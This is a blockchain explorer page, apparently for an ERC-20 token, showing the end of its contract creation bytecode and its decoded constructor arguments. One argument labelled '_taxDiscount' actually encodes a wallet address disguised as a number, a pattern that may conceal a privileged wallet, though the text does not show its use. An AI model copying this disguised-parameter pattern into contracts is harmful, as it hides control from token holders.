6f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612c0360248361238d565b9150612c0e82612ba7565b604082019050919050565b60006020820190508181036000830152612c3281612bf6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c9560228361238d565b9150612ca082612c39565b604082019050919050565b60006020820190508181036000830152612cc481612c88565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d2760258361238d565b9150612d3282612ccb565b604082019050919050565b60006020820190508181036000830152612d5681612d1a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612db960238361238d565b9150612dc482612d5d565b604082019050919050565b60006020820190508181036000830152612de881612dac565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612e4b60298361238d565b9150612e5682612def565b604082019050919050565b60006020820190508181036000830152612e7a81612e3e565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612eb760198361238d565b9150612ec282612e81565b602082019050919050565b60006020820190508181036000830152612ee681612eaa565b9050919050565b6000612ef8826124a6565b9150612f03836124a6565b9250828201905080821115612f1b57612f1a6128c9565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612f57601a8361238d565b9150612f6282612f21565b602082019050919050565b60006020820190508181036000830152612f8681612f4a565b9050919050565b600060208284031215612fa357612fa261243e565b5b6000612fb184828501612abd565b91505092915050565b6000612fc5826124a6565b9150612fd0836124a6565b9250828203905081811115612fe857612fe76128c9565b5b92915050565b6000612ff9826124a6565b9150613004836124a6565b9250828202613012816124a6565b91508282048414831517613029576130286128c9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061306a826124a6565b9150613075836124a6565b92508261308557613084613030565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006130ec60218361238d565b91506130f782613090565b604082019050919050565b6000602082019050818103600083015261311b816130df565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61315781612468565b82525050565b6000613169838361314e565b60208301905092915050565b6000602082019050919050565b600061318d82613122565b613197818561312d565b93506131a28361313e565b8060005b838110156131d35781516131ba888261315d565b97506131c583613175565b9250506001810190506131a6565b5085935050505092915050565b600060a0820190506131f56000830188612552565b6132026020830187612a4d565b81810360408301526132148186613182565b905061322360608301856127c4565b6132306080830184612552565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613270601b8361238d565b915061327b8261323a565b602082019050919050565b6000602082019050818103600083015261329f81613263565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be6f3bec0a9dd0919b1dafcf3ac5c081fe7b2c56d77998869469f33855b5b25964736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000000000000000000153bf19000000000000000000000000008cfa0f9428dac28c3c8364e6768c63f617631b48
-----Decoded View---------------
Arg [0] : _totalSupply (uint256): 5700000000
Arg [1] : _taxDiscount (uint256): 804835251315354456325307398517647201081258875720
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000153bf1900
Arg [1] : 0000000000000000000000008cfa0f9428dac28c3c8364e6768c63f617631b48
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.